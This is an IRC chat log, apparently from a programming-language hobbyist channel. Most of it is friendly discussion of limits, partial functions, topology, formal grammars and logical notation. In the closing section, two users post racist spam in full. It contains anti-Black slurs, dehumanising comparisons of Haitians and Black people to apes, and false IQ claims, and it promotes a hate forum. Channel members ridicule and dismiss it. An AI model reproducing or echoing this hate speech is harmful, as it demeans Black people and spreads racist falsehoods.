22:22:53 <oklokok> it's not obvious that it's 1 on integers
22:23:36 <oklokok> AnMaster: there's no normal limit for it
22:23:36 <uorygl> The normal limit exists iff the limit superior equals the limit inferior.
22:23:39 <AnMaster> oklokok, are there cases where limsup is not defined?
22:23:56 <AnMaster> oklokok, hm. for sin(x) there indeed isn't
22:24:09 <uorygl> The limit superior as something approaches infinity is always defined, as long as the function is defined everywhere.
22:24:10 <AnMaster> but hm
22:24:27 <oklokok> okay i was gonna say earlier that lim sup and lim inf always exist on reals and lim exists iff lim sup = lim inf, but thought AnMaster wouldn't be interested
22:24:44 <AnMaster> oklokok, ah
22:24:46 <AnMaster> interesting!
22:24:57 <uorygl> Heck, if the function isn't defined everywhere, you might say that the limit superior is negative infinity. I don't really know.
22:25:20 <AnMaster> ah
22:25:21 <oklokok> oh well right they always exist in the extended reals
22:25:35 <AnMaster> oklokok, you mean the function must all be completely defined then?
22:25:42 -!- coppro has quit (Quit: I'd love to discuss this, but matters press. Onwards!).
22:25:44 <oklokok> all functions are completely defined
22:25:45 <AnMaster> or at least, it might not work if it isn't
22:25:58 <AnMaster> oklokok, what is limsup tan(x) x->+inf?
22:26:33 <oklokok> tan is a partial function
22:26:43 <AnMaster> oklokok, you mean it isn
22:26:50 <AnMaster> isn't* well defined everywhere
22:26:56 <AnMaster> ?
22:27:07 <oklokok> but if we skip the parts where it's not defined, then still arbitrarily far away you can find arbitrarily big values
22:27:11 <oklokok> so lim sup = infinity
22:27:35 <uorygl> The Warrigal function isn't completely defined!
22:27:50 <oklokok> AnMaster: that's not what well-defined means, tan just isn't defined there.
22:28:06 <AnMaster> oklokok, you just said "<oklokok> all functions are completely defined"
22:28:37 <AnMaster> which isn't actually correct it seems, at least not with the definition of function that I heard
22:28:41 <oklokok> well-defined is when we have a definition, but it's wrong, tan's domain is just not the whole R
22:28:43 <AnMaster> like ln(x) is not defined for x<0
22:28:56 <oklokok> just like it isn't defined if x is an apple
22:28:57 <AnMaster> oklokok, well I was confused by that line "<oklokok> all functions are completely defined"
22:29:00 <AnMaster> !!
22:29:20 <oklokok> every function is completely defined *on its domain*
22:29:27 <oklokok> otherwise it's a partial function.
22:30:05 <oklokok> sometimes we call these functions too, and just say "oh it's actually not defined here", i just don't happen to like that
22:30:29 <AnMaster> oklokok, to me "function" includes both partial ones and normal ones
22:30:31 <AnMaster> if that is wrong
22:30:36 <AnMaster> then what is a word for both
22:30:46 <AnMaster> it has to be pretty concise
22:30:56 <oklokok> "uorygl: Heck, if the function is ..." <<< obviously you'd define the lim sup of a partial function as the lim sup of the function's restriction on the part of its domain where it's defined.
22:30:56 <AnMaster> "functions and partial functions" is not an acceptable answer
22:31:25 <uorygl> Call it an MPF, for maybe-partial function. :P
22:31:34 <AnMaster> uorygl, that's silly
22:31:38 <AnMaster> but sure
22:31:41 <oklokok> we don't need a word for functions and partial functions, because one is the subset of the other
22:31:42 <oklokok> ...
22:31:44 <AnMaster> as silly as oklokok is
22:31:55 <AnMaster> oklokok, if one is the subset of the other
22:32:03 <AnMaster> oklokok, then "<oklokok> all functions are completely defined"
22:32:04 <AnMaster> is false
22:32:10 <oklokok> if you have a function that might be partial, say it's a partial function
22:32:27 <AnMaster> oklokok, or do you mean the reverse?
22:32:29 <uorygl> So the sine function is a partial function?
22:32:31 -!- scarf has quit.
22:32:34 <AnMaster> that functions are a subset of partial functions?
22:32:42 <AnMaster> uorygl, yes. and y=x is too!
22:32:43 <oklokok> no it's not, because it's functions that's a subset of partial functions, it's the subset containing functions that are completely defined on their domain
22:33:02 -!- ais523 has joined.
22:33:09 <AnMaster> uorygl, now you see why I took CS instead of math!
22:33:19 <oklokok> uorygl: of course it's a partial function, it's just not a proper partial function ;)
22:33:21 <AnMaster> uorygl, we don't do silly things like that
22:33:22 <uorygl> Eh, all this is terminology.
22:33:27 <uorygl> oklokok: ah, of course.
22:33:31 <ais523> nick changed back by popular demand!
22:33:40 <AnMaster> ais523, yay!
22:33:54 <AnMaster> ais523, except someone is bound to ask "where is scarf" soon
22:33:55 <ais523> if I have three different communities of people all yelling at me, what else can I do?
22:33:58 <ais523> AnMaster: haha
22:34:12 * uorygl decides to be silly by saying that 0 is a positive number and a negative number, but not a proper positive number or a proper negative number.
22:34:24 <oklokok> :D
22:34:29 <oklokok> i like that
22:34:48 <AnMaster> uorygl, ooh better idea: a point is a triangle, but not a proper one
22:34:55 <AnMaster> (all three corners in the same point)
22:35:07 <uorygl> All real numbers are irrational numbers, but some of them are not proper irrational numbers.
22:35:24 <oklokok> hmm
22:35:27 <uorygl> Hmm. The opposite of "proper" is "degenerate", I believe.
22:35:34 <uorygl> So a point is in fact a degenerate triangle, as is a line segment.
22:35:53 <AnMaster> uorygl, now if we just could say that "all integers are negative, but some are not proper negative" :/
22:36:11 <uorygl> Alas, my intuition says that integers are a closed set.
22:36:24 <oklokok> in the topological sense?
22:36:25 <uorygl> (In fact, they are a closed set. Yay for intuition!)
22:36:32 <uorygl> No, in the intuitive sense.
22:36:48 <oklokok> i don't have an intuition, closed under what operation?
22:37:00 <uorygl> In the intuitive version of the topological sense.
22:37:06 <oklokok> :P
22:37:07 <oklokok> okay
22:37:28 <uorygl> Let's say that for all concepts "blah", "degenerate blah" is the boundary of "blah" and "proper blah" is the interior of "blah".
22:37:39 <uorygl> So every blah is either a degenerate blah or a proper blah.
22:37:45 <uorygl> All integers are degenerate integers.
22:38:48 <uorygl> All tall people are proper tall people, except for the shortest possible person X such that only tall people are taller than X, who is a degenerate tall person.
22:40:17 <uorygl> The surface of a drop of liquid consists of degenerate liquid.
22:40:57 <AnMaster> what does closed mean in the topological sense?
22:41:07 <oklokok> AnMaster: the complement is open
22:41:17 <AnMaster> oklokok, I don't know that either
22:41:27 <AnMaster> assume I know next to nothing about topology
22:41:31 <oklokok> in topology, we just call some subsets open.
22:41:37 <uorygl> All ice is freezing cold, and most ice is proper freezing cold, but ice at its melting point is degenerate freezing cold. Some liquid water is degenerate freezing cold, but none of it is proper freezing cold.
22:41:46 <AnMaster> (except that a coffee cup and a doughnut are equivalent)
22:41:52 <oklokok> we have a space containing points, and we say some arbitrary subsets are open
22:42:04 <uorygl> Intuitively speaking, a set is open if it contains none of its boundary.
22:42:05 <AnMaster> oklokok, what makes a given subset open?
22:42:11 <uorygl> And a set is closed if it contains all of its boundary.
22:42:12 <AnMaster> oh
22:42:18 <AnMaster> like (0,4)?
22:42:28 <AnMaster> (as opposed to [0,4])
22:42:34 <AnMaster> if so, why didn't you just say it
22:42:37 <uorygl> Right. (0,4) is open and [0,4] is closed.
22:42:47 <AnMaster> uorygl, is that all there is to it?
22:42:52 <uorygl> No, not really.
22:42:52 <oklokok> AnMaster: nothing, we can define anything to be open
22:42:59 <AnMaster> oklokok, -_-
22:43:10 <AnMaster> oklokok, I define closed to be open!
22:43:39 <uorygl> There are, in fact, topological spaces where something is closed if and only if it is open.
22:43:42 * AnMaster leaves cleaning up the mess that caused to oklokok
22:44:05 <AnMaster> uorygl, paradox?
22:44:07 <uorygl> In the topological space of integers, every set is both closed and open.
22:44:28 <uorygl> It happens that "closed" and "open" aren't opposites at all in the topological sense.
22:44:56 <AnMaster> mhm
22:45:13 <AnMaster> uorygl, on the reals I find this hard..
22:45:36 <oklokok> the natural topology of reals does have nice properties
22:45:47 <AnMaster> oklokok, oh?
22:45:48 <uorygl> Another "definition" of openness: a set is open if for every point within the set, that point has a neighborhood that is also within the set.
22:45:51 <oklokok> the same properties the natural topology of every metric space has
22:46:03 <AnMaster> uorygl, define neighborhood
22:46:14 <AnMaster> uorygl, (that term makes me think of GOL)
22:46:27 <uorygl> Intuitively, a neighborhood is a set containing a point and its immediate surroundings.
22:46:41 <oklokok> in the natural topology of a metric space, a set is closed iff it contains its own boundary
22:47:08 <uorygl> Formally, a neighborhood is a superset of an open set containing a point.
22:47:10 <oklokok> in a general topological space, boundary becomes meaningless
22:47:32 <uorygl> Can't you generally define the boundary as the difference between the interior and the closure?
22:48:11 <oklokok> the boundary is the thing that's not in the interior of the set or the interior of its complement
22:48:12 <oklokok> so yeah
22:48:21 <oklokok> that's how we define it
22:48:34 <uorygl> AnMaster: now, you may notice that every time we try to define openness, we then define the terms we used in terms of openness. Fundamentally, openness is whatever the topological space defines it to be; different topological spaces are different ways of defining openness on a set.
22:48:42 <AnMaster> uorygl, I noticed that
22:49:25 <AnMaster> uorygl, at least it isn't like the circle being a specific conical section, but when you think about it, a cone is defined in terms of a circle
22:49:25 <oklokok> all the intuition uorygl gave you about topologies is actually just properties the natural topology of a metric space has
22:49:43 <AnMaster> (unless there are other ways to define cones that I don't know about)
22:49:51 <oklokok> because in general those need not be true
22:50:05 <uorygl> Really?
22:50:11 <uorygl> I thought they were always true.
22:50:19 <oklokok> well obviously you can just permute the reals and take the topology of the permuted version
22:50:57 <oklokok> oh
22:51:01 <uorygl> Well, if you use one topology for one part of the intuition and another topology for other parts of it, sure.
22:51:19 <oklokok> well umm, "immediate surroundings", that doesn't really mean much
22:51:27 <uorygl> True.
22:51:51 <uorygl> In the real numbers, a point does not have even one surrounding that is immediate. :P
22:51:58 <oklokok> AoC => a set is open iff all its points have an open set around them
22:52:06 <AnMaster> what about complex numbers
22:52:09 <uorygl> Seriously?
22:52:12 <AnMaster> how is open and closed defined on those?
22:52:25 <oklokok> AnMaster: same way as in R^2, as the product topology of R and R
22:52:41 <AnMaster> oklokok, I don't know how open is defined in R²
22:52:54 <uorygl> A set of complex numbers is open if and only if all its vertical and horizontal cross sections are open.
22:52:56 <oklokok> R is a metric space, so we define the natural topology by taking the open balls as a base for the topology
22:53:03 <AnMaster> wow ^2 produced ²!!! (^ is a dead key here)
22:53:19 <AnMaster> whatever program ensured that happened: I love it
22:53:23 <oklokok> well okay i guess you could also say R^2 is a metric space so we can do the ball thing there too
22:53:28 <AnMaster> ais523, ^
22:53:42 <AnMaster> only works for numbers
22:54:20 <AnMaster> oh and +- ⁺⁻
22:57:38 -!- Oranjer has joined.
23:19:49 <augur> Quadrescence: WANNA LEARN ABOUT RANGE CONCATENATION GRAMMARS? 8D
23:20:11 <Oranjer> I do!
23:20:19 <augur> oh ok
23:20:21 <augur> so!
23:20:24 <Oranjer> yes!
23:20:29 -!- MigoMipo has quit (Remote host closed the connection).
23:20:50 <augur> a range concatenationgrammar is basically a context free grammar, but instead of non-terminal symbols you have pattern-matched "function applications"
23:21:09 <augur> so it might be best to give you an example
23:21:30 <augur> lets consider the language { a^n b^n : n >= 0 }
23:21:38 <augur> we could have the start symbol S
23:21:41 <augur> and the following rules:
23:21:47 <augur> S(e) -> e
23:22:01 <augur> which just says if you apply S to the empty string, you get back the empty string
23:22:09 <augur> and the rule
23:22:16 <augur> S(aXb) -> S(X)
23:22:35 <augur> which says if you apply S to something that looks like aXb, where X is a variable, then you get back S applied to X
23:22:54 <augur> e.g. S(amb) => S(m) => fail
23:23:06 <Oranjer> why the fail?
23:23:14 <augur> because theres no rule for S applied to m
23:23:19 <augur> just S(e) and S(aXb)
23:23:22 <Oranjer> ahh
23:23:32 <augur> or more accurately
23:23:44 <augur> success is defined as reducing S(...) to the empty string
23:23:55 <AnMaster> oh no
23:23:58 <augur> so since theres no rule that reduces S(m) to the empty string, its a faulure.
23:24:07 <AnMaster> augur, want to learn about music?
23:24:14 <augur> anmaster: yes!
23:24:15 <Oranjer> I want to learn about music!
23:24:16 <AnMaster> meh
23:24:18 <AnMaster> too busy
23:24:22 <Oranjer> >:(
23:24:35 <augur> so for the sentence aaabbb, you have the steps S(aaabbb) => S(aabb) => S(ab) => S(e) => e
23:24:39 <augur> so aaabbb must be an S
23:24:40 <AnMaster> just wanted to derail the linguistics
23:24:51 <augur> AnMaster: this isnt linguistics this is formal language theory
23:25:01 <Oranjer> hey AnMaster, what is tempo
23:25:17 <augur> you can also generate the language { a^n b^n c^n : n >= 0 } which is not CF
23:25:22 <augur> using the following grammar:
23:25:27 <augur> S(e) -> e
23:25:31 <AnMaster> Oranjer, number of played notes per time unit. Commonly 1/4 notes per minute
23:25:38 <Oranjer> and what is a note
23:25:40 <augur> S(aXbYcZ) -> S(XYZ)
23:25:54 <Sgeo> Is there any reason that I should be learning Scheme over Common Lisp?
23:25:59 <AnMaster> Oranjer, uh. How to explain it?
23:26:06 <augur> Sgeo: scheme is more elegant
23:26:10 <augur> and it has awesomemacros
23:26:10 <AnMaster> Oranjer, I assume you are just being silly
23:26:14 <AnMaster> Oranjer, but
23:26:35 <Sgeo> And no real "standard library" for practical use. Although I don't know if CL has that or not
23:26:36 <Oranjer> silly in that I do not know the definition, but I know how it's used?
23:26:40 <AnMaster> Oranjer, know what happens when you press one (1) key on a piano? Well one note is played
23:26:45 <augur> as far as i can tell, RCGs are practically, not not exactly, Prolog. lol
23:26:50 <AnMaster> Oranjer, I don't know definition either
23:27:02 <augur> Sgeo: depends on what you mean by standard library. Scheme has a shittonne of standard stuff.
23:27:02 <AnMaster> Oranjer, I do know how to read scores however
23:27:20 <AnMaster> hm
23:27:29 <AnMaster> wait that sounds wrong. what are they called in English now again
23:27:56 <Oranjer> written music <=> scores, I believe
23:28:08 <AnMaster> yes
23:28:30 <AnMaster> Oranjer, just got confused over language there
23:28:34 <Oranjer> also, "<=>" <=> "is analogous to"
23:28:50 <augur> but
23:28:51 <augur> but
23:28:55 <Oranjer> but
23:28:57 <AnMaster> Oranjer, no <=> means "is equivalent"
23:28:57 <augur> i have to understand <=> before i can understand <=>
23:28:58 <augur> D:
23:29:04 <Oranjer> I know, augur
23:29:07 <Oranjer> that's the thing
23:29:07 <augur> D:
23:29:26 <augur> i had a funky dream
23:29:35 <Oranjer> did it break at the seams?
23:29:42 <Gregor> Oh please, tell us of your funky dream :P
23:29:50 <AnMaster> noooo!
23:30:20 <Oranjer> augur: "<=>" is analogous to "is analogous to"
23:30:23 <Oranjer> hahahaha
23:30:38 <augur> that i was playing a video game where i was a guy working on a submarine and in order to get around parts of the sub you had to put on these big suits that would act to keep water out and to provide life support and propulsion
23:31:06 <AnMaster> Oranjer, it doesn't actually mean that normally
23:31:13 <AnMaster> Oranjer, normally it means "is equivalent with"
23:31:23 <AnMaster> or iff
23:31:30 <AnMaster> but then iff <=> "<=>"
23:31:33 <augur> Oranjer: yes but, is '"is analogous to" is analogous to' analogous to '"<=>" is analogous to'
23:31:41 <AnMaster> (except grammatically)
23:31:45 <augur> no no <-> is iff
23:31:50 <augur> <=> is mutually derives!
23:31:54 <AnMaster> augur, what?
23:32:04 <augur> iff is a single arrow
23:32:09 <augur> <->
23:32:13 <augur> but <=> is a double arrow
23:32:27 <AnMaster> augur, <=> "is equivalent with"
23:32:27 <augur> double arrows are used for other things, for instance, the derives relation in formal language theory
23:32:38 <Gregor> augur: Sounds like a pretty bad submarine if it's full of water :P
23:32:42 <AnMaster> augur, in math I mean
23:32:43 <AnMaster> ...
23:32:47 <Oranjer> in maths
23:32:47 <augur> Gregor: all submarines have water in them
23:32:50 <augur> ballast tanks, and such
23:33:07 <Gregor> OK, it sounds like a bad submarine if you had to go through ballasts to get to vital chambers X_X
23:33:09 <augur> but this one was presumably on its way towards being fucked
23:33:18 <Oranjer> so, AnMaster, in these maths of yours, what is the difference between "=" and "<=>"?
23:33:22 <AnMaster> augur, x+2 = 4 <=> x=2
23:33:31 <Oranjer> ahhh
23:33:32 <augur> i also had a dream of some sort involving aliens
23:33:33 <AnMaster> augur, you don't write <-> there
23:33:39 <Gregor> Does <=> mean "less than, equal to or greater than"? :P
23:33:43 <AnMaster> Gregor, haha
23:33:49 <augur> spaceship!
23:33:51 <Oranjer> oh, you Gregor!
23:33:58 <Gregor> Actually, D does have such an operator.
23:34:01 <Gregor> It means "comparable"
23:34:06 <AnMaster> Oranjer, anyway, = is "is equal"
23:34:19 <AnMaster> Oranjer, and equal is not the same as equivalent
23:34:24 <augur> oh man, i need some caffeine
23:34:31 <augur> im gonna go buy caffeine
23:34:38 <Gregor> Raw, and snort it.
23:34:42 <Oranjer> so why can't I say x + 2 = 4 = x = 2, or x + 2 <=> 4 <=> x <=> 2?
23:34:45 <AnMaster> Gregor, :D
23:34:46 <Oranjer> oh, I get it now
23:34:48 <Oranjer> yay
23:34:49 <augur> Gregor: if only!
23:35:23 <Oranjer> but what if I said ( x+2=4 ) = ( x=2 )
23:35:24 <AnMaster> Oranjer, because 4 = x = 2 and = has the property that you can reoder around it. Which means you get x = 4 = 2
23:35:32 <AnMaster> which means 4=2
23:35:35 <AnMaster> which is absurd
23:35:45 <Oranjer> ( x+2=4 ) = ( x=2 ) !
23:35:54 <Gregor> It's true in the right modular arithmetic :P
23:35:57 <AnMaster> Oranjer, that has no meaning
23:36:04 <AnMaster> Gregor, sure but then you need to write that out!
23:36:33 <Oranjer> and my client doesn't support the three-bar equal sign thing anyway
23:36:55 <AnMaster> just copy and paste it from wikipedia's excellent list of math operators
23:36:58 <Oranjer> what about ( x+2<=>4 )<=>( x = 2 ) ?
23:37:10 <AnMaster> Oranjer, again I don't know what that means
23:37:28 -!- oklokok has quit (Ping timeout: 276 seconds).
23:37:39 <Oranjer> *oops, the last "=" was supposed to be "<=>"
23:38:00 <AnMaster> Oranjer, don't know what it means that way either
23:38:02 <Oranjer> well, is x + 2 equivalent to 4?
23:38:11 <Oranjer> oh, I get it now
23:38:12 <Oranjer> hmmmm
23:38:36 -!- oklokok has joined.
23:38:51 <Oranjer> very well, I guess there'd have to be a different symbol for "is equivalent to" and "is equal to"
23:39:07 <AnMaster> augur, wikipedia claims both <-> and <=> are used for iff
23:39:10 <AnMaster> http://en.wikipedia.org/wiki/If_and_only_if
23:40:14 <Oranjer> 2 ≡ 4 (mod 2) yay
23:40:16 <augur> AnMaster: shut your fast
23:40:19 <augur> face
23:40:22 <augur> :|
23:40:23 <augur> bye
23:40:34 <Gregor> Shut your fast face!
23:40:36 <AnMaster> augur, well, I have never seen <-> used for iff before
23:41:14 <Oranjer> indeed, does it make sense to have a symmetrical symbol for a directed relation?
23:41:29 <AnMaster> er?
23:41:38 <AnMaster> Oranjer, how is iff directed?
23:41:52 <Oranjer> it has a condition, and the result, right?
23:42:38 <AnMaster> Oranjer, but if the condition is true then the result is. And if the condition is false, so is the result
23:42:47 <AnMaster> thus you could just as well turn it around
23:43:03 <AnMaster> in fact <-> makes kind of sense. Since → is implies
23:43:22 <AnMaster> and iff <=> → in both directions
23:45:08 <Oranjer> so in that latter statement, you're using "<=>" as "is equivalent to"?
23:45:16 <AnMaster> Oranjer, yes
23:45:21 <Oranjer> okay
23:45:40 <Oranjer> it's just a wee bit confusing for me, as I always use it as "is analogous to"
23:45:50 <AnMaster> Oranjer, but iff => <=> iirc
23:46:04 <Oranjer> and "=>" <=> ?
23:46:21 <AnMaster> Oranjer, ?
23:46:33 <Oranjer> what does "=>" mean?
23:46:44 <AnMaster> forgot the name for it, let me look it up.
23:47:42 <AnMaster> Oranjer, taking an example might be best
23:47:49 <Oranjer> sure
23:48:00 <AnMaster> x = 2 => x^2 = 4
23:48:04 <AnMaster> the reverse is not true
23:48:07 -!- tombom has quit (Quit: Leaving).
23:48:10 <AnMaster> that is
23:48:26 <AnMaster> x^2 = 4 => x = 2 is false
23:48:32 <AnMaster> since x could be equal to -2
23:48:43 <Oranjer> explicitly one-directional equivalence
23:49:14 <AnMaster> Oranjer, yes, in the case above I used it because I got confused over if you could always replace <=> with iff (but the reverse should work)
23:49:35 <AnMaster> Oranjer, don't the math teachers at your university use these kind of symbols all the time?
23:49:45 <Oranjer> they use iff, not <=>
23:50:17 <Oranjer> when I started using "<=>" to mean "is analogous to", I just assumed it was a free (or at least obscurely-used) symbol
23:50:24 <AnMaster> Oranjer, mine use omm or <=> (omm "om och endast om", no I'm not sure how that phrase ends up with that abbrev either!)
23:50:31 <AnMaster> (and that is Swedish btw)
23:50:53 <Oranjer> endast ==(English)==> only?
23:51:01 <Gregor> `translate endast
23:51:07 <AnMaster> Oranjer, yes
23:51:11 <Oranjer> okay
23:51:11 <HackEgo> only
23:51:26 <AnMaster> Oranjer, or my irc notation of that would be: sv:endast = en:only
23:51:33 <Oranjer> ah, okay
23:51:38 <AnMaster> Oranjer, which I don
23:51:45 <AnMaster> don't* think is used for anything else
23:51:47 <AnMaster> ;P
23:52:00 <Oranjer> I guess I should have made aware the originating language
23:52:16 <Oranjer> endast ==(Swedish --> English)==> only
23:52:56 <AnMaster> Oranjer, oh and <=> as "is equivalent" seems to generally be used between equations
23:53:13 <AnMaster> especially when writing them on one line
23:53:44 <Oranjer> see? my college has enough paper to not have to do that, ha
23:54:05 <AnMaster> Oranjer, big enough whiteboards?
23:54:16 <AnMaster> Oranjer, also is college <=> university?
23:54:37 <AnMaster> and ~ seems to be used for row equivalence by at least one teacher
23:54:37 <Oranjer> basically, yeah
23:54:48 <Oranjer> "row equivalence"?
23:55:01 <AnMaster> Oranjer, he teaches linear algebra
23:55:03 <AnMaster> guess
23:55:10 <Oranjer> hmmm
23:55:14 -!- kar8nga has joined.
23:55:14 <Oranjer> nope, nothing's coming to me
23:55:43 <AnMaster> Oranjer, http://en.wikipedia.org/wiki/Table_of_mathematical_symbols lists it as "row equivalence" amongst other things
23:56:04 <AnMaster> that link redirects to an article that doesn't mention that word explicitly
23:56:22 <AnMaster> Oranjer, but on that meaning I'm somewhat confused. Generally it is used when row reducing a matrix
23:56:36 <AnMaster> but wikipedia says
23:56:38 <AnMaster> "A~B means that B can be generated by using a series of elementary row operations on A"
2010-03-07
00:10:51 -!- ais523 has quit (Remote host closed the connection).
00:12:46 -!- BeholdMyGlory has quit (Remote host closed the connection).
00:25:48 -!- coppro has joined.
00:37:35 <augur> o hai
00:38:07 <augur> oerjan, yet iff symbolically is merely <->
00:38:15 <augur> a single-lined double arrow
00:39:49 <augur> also
00:39:51 <augur> CAFFEINE! :D
00:44:48 <augur> who was it that suggested lo carb monster
00:48:26 <augur> oh, noone here
00:50:33 -!- kar8nga has quit (Remote host closed the connection).
01:05:24 -!- lament has quit (Ping timeout: 276 seconds).
01:06:52 <Quadrescence> augur: (ノ゚ο゚)ノミ★゜・。。・゜゜・。。・゜☆゜・。。・゜゜・。。・゜
01:07:07 -!- lament has joined.
01:07:11 <Oranjer> hahahahaha
01:10:33 <augur> wtf is that
01:10:54 <Oranjer> beats me, I can't see it
01:11:02 <pikhq> Quadrescence: なぜ絵文字を使いますか。
01:11:21 <Quadrescence> shiiiiiiit
01:11:42 <pikhq> 何?
01:12:02 <Quadrescence> I have no idea what you're saying.
01:12:39 <pikhq> Japanese-script-using failure.
01:13:07 <Quadrescence> Fortunately I don't know Japanese.
01:17:23 <pikhq> Then why are you using
01:17:29 <pikhq> JIS art?
01:17:30 <pikhq> :P
01:17:43 -!- MizardX has quit (Ping timeout: 268 seconds).
01:25:20 <Quadrescence> pikhq: because i speak japanese
01:25:32 <pikhq> Quadrescence: 本当に?
01:25:38 <Quadrescence> yes
01:26:47 <pikhq> でも、「絵文字」を知らない。
01:27:46 <pikhq> Hrm. ... Emoji is wrong word. JIS art.
01:31:05 -!- oerjan has joined.
01:50:26 <Sgeo> Hm, alise isn't here?
02:05:02 <Sgeo> So, keywords do exist in Common Lisp
02:07:22 -!- benuphoenix has joined.
02:07:51 <pikhq> Not ATM.
02:10:30 -!- zzo38 has joined.
02:13:08 -!- benuphoenix has quit (Quit: leaving).
02:22:53 <zzo38> Do you know how to make hypervisor mode in ARM-based computer?
02:51:34 -!- zzo38 has quit (Remote host closed the connection).
03:07:36 -!- lament has quit (Ping timeout: 276 seconds).
03:11:06 -!- lament has joined.
03:21:23 -!- adu has joined.
03:35:12 -!- oerjan has quit (Quit: leaving).
04:57:22 -!- Khazar has joined.
05:15:46 <Oranjer> goodnight!
05:15:48 -!- Oranjer has left (?).
05:17:45 <Khazar> It is time to put those Haitian jigaboos in their place! No matter how many times the civilized world donates money, opens schools, rebuilds their nation, and holds their little monkey paws, the damn niggers can never get it right. They never will! The same goes for New Orleans! Cancun in Mexico suffered few fatalities after their major hurricane, and the rebuilding is already completed. Wha
05:17:45 <Khazar> t have the niggers in New Orleans done? If you are sick of this, join Chimpout Forum! http://www.chimpout.com/forum We welcome all races except for NIGGGGGGGERS! We are not white supremacists, just negro inferiorists! http://www.chimpout.com/forum
05:19:41 <pikhq> lament: Art thou awake?
05:20:27 <pikhq> Khazar: 馬鹿ね。
05:27:24 -!- Azstal has quit (Ping timeout: 256 seconds).
05:53:19 -!- adu has quit (Quit: adu).
05:59:56 <Gregor> ... wow.
06:00:01 <Gregor> Good ol' fashioned spam I guess.
06:00:12 <pikhq> Not all that "good ol' fashioned".
06:00:21 <pikhq> If it were that, Khazar would be giving the GNAA spiel.
06:00:30 <Gregor> Rarely has "good ol' fashioned" meant "good" :P
06:01:44 <pikhq> Heheh.
06:02:17 <Gregor> Curious, I would expect a spambot to join various channels, but Khazar is only on #esoteric.
06:02:35 <pikhq> Curious.
06:02:55 <pikhq> Probably more of a *troll* than a spambot, then.
06:05:01 -!- lament has quit (Ping timeout: 264 seconds).
06:06:07 <Gregor> Naw, a troll would be responsive, I assume.
06:06:10 <Gregor> Just a moron.
06:09:01 -!- lament has joined.
06:09:15 <pikhq> Mmm.
06:10:22 <Gregor> lament: Can has kickban on Khazar plz kthx
06:13:44 <Gregor> Alternatively, can have access +o on Gregor? :P
06:15:15 <Khazar> it isn't spam
06:15:22 <Khazar> where did I mention viagra or porn?
06:15:54 <pikhq> You opted form "chimpout" instead.
06:15:57 <pikhq> Erm. For.
06:16:06 <Gregor> Oh wow, it is a "human".
06:16:07 <Gregor> Shocking.
06:16:29 <Gregor> If nothing else, your racist idiocy has no relevance to this channel and is unsolicited, making it spam.
06:16:40 <Khazar> we have discovered that on Freenode, it is wiser to be more lowkey
06:16:42 <pikhq> Advertising a site that is offensive to many and sought out by few is generally considered spam.
06:16:45 <Khazar> precluding the usage of bots
06:16:48 <Khazar> it is more profitable
06:16:57 <Khazar> if you are interested in such a job in irc marketing
06:17:06 <Gregor> That would be because people on Freenode are, in general, more intelligent than turnips.
06:17:10 <Khazar> email recursoshumanos@telvista.com.mx
06:17:20 <Gregor> Whereas the target audience for your site is in the 0.25-to-0.75 turnips intelligence range.
06:17:34 <pikhq> People on Freenode are more likely to be offended by marketing in general, you know.
06:17:40 <Gregor> Which would place them just a tad below intelligent design advocates, and roughly on par with flat-Earth-theorists.
06:18:13 <pikhq> (... Particularly here. Have you *seen* the crazy shit we write?)
06:18:46 <Khazar> i once knew a nigger named esoteric
06:18:54 <Gregor> It's too bad that "recursos" means "resources" instead of "recursive", "recursive humans" == an awesome concept :P
06:19:02 <Khazar> he had a sister named shaquanda
06:19:16 <coppro> New idea: let's all /ignore
06:19:23 <coppro> 3, 2, 1, go
06:19:26 <pikhq> Khazar: Would you please be so kind as to inform us of the reasons for your opinion?
06:19:44 <Gregor> pikhq: Oh dear :P
06:19:50 <pikhq> I am certain that they are detailed, profound, and may well be enlightening as to certain aspects of the human condition.
06:20:23 <Khazar> Average Human IQ 100 Average Nigger IQ 80 Of course there are negroes that have normal IQs, but you are much more likely to run into a feral ape
06:20:28 <Khazar> than a magic negro
06:20:42 <Khazar> many who don't see this have been isolated from the bulk of the nigger population
06:20:49 <Khazar> and just know a few magic ones in the workplace
06:20:55 <Gregor> Well, with such "compelling" evidence as that, I'm sure convinced haw haw X-D
06:21:16 -!- Khazar has quit (Quit: Haiti=Mierda).
06:21:21 <Gregor> Daaaamn :P
06:21:28 <Gregor> Magic ones are OK I guess.
06:21:29 <pikhq> Alas.
06:21:33 <Gregor> I know a few magic ones.
06:21:56 <pikhq> I guess we need to sprinkle some pixy dust on everyone.
06:22:02 <pikhq> Thus making magical negroes.
06:22:09 <Gregor> Sounds about right to me.
06:22:19 <pikhq> (*Everyone* to allow for the possibility of racial mixes, of course.)
06:22:26 <Gregor> Naturalismo.
06:22:38 <Gregor> Now, let us discuss recursive humans.
06:22:53 <Gregor> I think something along the lines of Russian nesting dolls.
06:22:57 <pikhq> The idea intrigues me, and I would like to subscribe to relevant newsletters.
06:23:03 -!- coppro has quit (Remote host closed the connection).
06:24:00 -!- coppro has joined.
06:43:24 -!- ElMexicano has joined.
06:43:26 <ElMexicano> It is time to put those Haitian jigaboos in their place! No matter how many times the civilized world donates money, opens schools, rebuilds their nation, and holds their little monkey paws, the damn niggers can never get it right. They never will! The same goes for New Orleans! Cancun in Mexico suffered few fatalities after their major hurricane, and the rebuilding is already completed. Wha
06:43:26 <ElMexicano> t have the niggers in New Orleans done? If you are sick of this, join Chimpout Forum! http://www.chimpout.com/forum We welcome all races except for NIGGGGGGGERS! We are not white supremacists, just negro inferiorists! http://www.chimpout.com/forum
06:44:01 <pikhq> ElMexicano: It remains unintelligent here.
06:44:27 <Gregor> OK, the straight-up reappearing and pasting the same thing is bizarre :P
06:44:34 <pikhq> Yeah.
06:45:21 <pikhq> ElMexicano: なぜ、おメキシコ人、それと思うかな。
06:46:02 <Gregor> pikhq: Google translates that as "Why Mexicans us, I think it is." :P
06:46:12 <Gregor> Not the most understandable translation I've ever seen.
06:46:23 <pikhq> Gregor: That's because Japanese is a royal pain to translate.
06:46:30 <pikhq> *Highly* context-dependent.
06:46:44 <pikhq> That is "Why, oh Mexican, do you think that?"
06:47:17 <pikhq> Should've done it in keigo so I could translate it was "Wherefore doth thou think that, most honerable Mexican?"
06:47:48 <Sgeo> Could be bots
06:48:21 <Sgeo> -ElMexicano- VERSION xchat 2.8.6 Ubuntu
06:48:22 <pikhq> Unfortunately, I can't remember the appropriate verb.
06:48:37 <Sgeo> ElMexicano, are you, in fact, a human? Prove it.
06:52:21 <pikhq> Apparently not.
